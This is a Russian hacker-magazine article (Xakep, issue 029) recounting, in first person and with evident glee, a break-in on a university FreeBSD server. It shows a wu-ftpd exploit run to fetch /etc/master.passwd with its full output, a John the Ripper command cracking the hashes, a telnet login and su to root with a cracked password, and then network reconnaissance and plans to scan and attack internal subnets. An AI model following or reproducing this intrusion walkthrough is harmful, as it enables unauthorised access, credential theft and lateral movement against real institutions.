
Университетская поломка
X-KoDeX (xkodex@hack4joy.com)
Xakep, номер #029, стр. 029-046-2
Начинается работа эксплоита:
$./wuftpd -h target.edu.ru -p 21 -u ftp
Enter file to receive (needed): /etc/master.passwd
Connecting to target.edu.ru (101.101.101.3).
Received: 220 target.edu.ru FTP server (Version wu-2.4(1) Fri Jan 17 12:05:30 MST 1997) ready.
User data transfer port is: 3923
Sending: PORT 206,71,69,243,15,83
Received: 200 PORT command successful.
Sending: RETR /etc/master.passwd
Received: 200 RETR command successful.
The client was for the server to connect for 25 seconds, and so exitting the child (we'll let the rest finish anyway).
Sending (as OOB data): ABOR
Received: 225 ABOR command successful.
Sending: QUIT
Received: 221 Goodbye.
$
Вот и вся любовь ;)
Видишь, эсплойтина тебя даже предупреждает, что ты уже 25 секунд в системе, и не мог бы ты давить батоны побыстрее? ;) Схватив в охапку файло паролей, запускаем John the Ripper'a (подробнее о Кровавом Джонни Х писал в №3 y2k1).
F:\>john\john -wordfile:passwd -format:DES newpasswd
За 3,5 часа было подобрано 3 пароля. Но самый шоколад - в том, что в этих трех был пароль юзверя с UID, равным zero :) Да, я про root'a :). Итак:
$telnet target.edu.ru
FreeBSD/i386 (target.edu.ru) (ttyp0)
login: vasand79pr
password:
target.edu.ru$su
SuperUser Password:
Welcome, root!
target.edu.ru#
Первым делом запустил #ps -aux. Мдя... Даже часть здесь приводить не буду, потому что боланды больше чем на страницу выйдет. В общем, ужас. Как сервер еще воркает, будучи нагруженным такой кучей говна?:) При всей радости получения рута, веселья было мало, т. к. стало понятно: моя конечная цель далеко не на этом серванте... Вяло полазив по /root, /usr/local/* и /home/*, решил взять все-таки легкой зажигательной жидкости (хоть и было часа 2-3 дня, но бубончик без beer'a отказывался варить :).
Ощупывая тело
Надо было сканить всю внутреннюю сетку. Я еще не знал, сколько там машин, сколько подсеток. В общем, работы хватало. Для начала запустил
#netstat -all и задумался...
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
* * * * * * *
unix 0 [ ACC ] STREAM LISTENING 68 /dev/de0
unix 0 [ ACC ] STREAM LISTENING 47 /dev/de1
unix 0 [ ACC ] STREAM LISTENING 75 /dev/de2
* * * * * * *
Получается, есть net-девайсы. Три сетевушки... Так, глянем, что за сети они держат:
#ifconfig de0
По аналогии проверил и остальные карточки. Итого, есть три подсети со следующим броадкастом: 10.0.0.255, 10.0.1.255 и 10.1.1.255. Роутер я порутил, значит,будет немного легче. Заливаю и запускаю там nmap. Очень полезная тулза для сканирования как целых подсетей, так и выборочных машин, слить свежак можешь с http://www.insecure.org/nmap/. Также зацени в данном номере статью про его полезность и использование 8)
Хотя можно было бы принять во внимание и человеский фактор - если ставишь локалку, то обычно серверам дают IP вроде этого же 10.0.1.1. Следовательно, есть еще 2 серванта. И на какой же из них ставить? :) Это ж не у себя в локалке шариться, а опять - целый процесс.
Сервер два
Вышел на улицу, присел на корточки, затянулся воздухом, засоренным никотином, в раздумьях - какой же все-таки ломать... Тут подбегает кот (это не ник, а реальное четырехлапое животное с одним хвостом). Вот я и подумал: щас подкину его, если побежит налево, то начну с 10.0.1.1, а если направо, то с 10.1.1.1 :). Кот побежал прямо. "Ну, коты и приколисты пошли", - мелькнула мысль. И решил я "щупать" обоих сразу, а где первый, знакомый мне, баг просвистит - тот и будет "первым" :) Размял спину, хлебнул "Старого Похмельника" и сел продолжать добывать пивзавод ;). Время близилось к вечеру...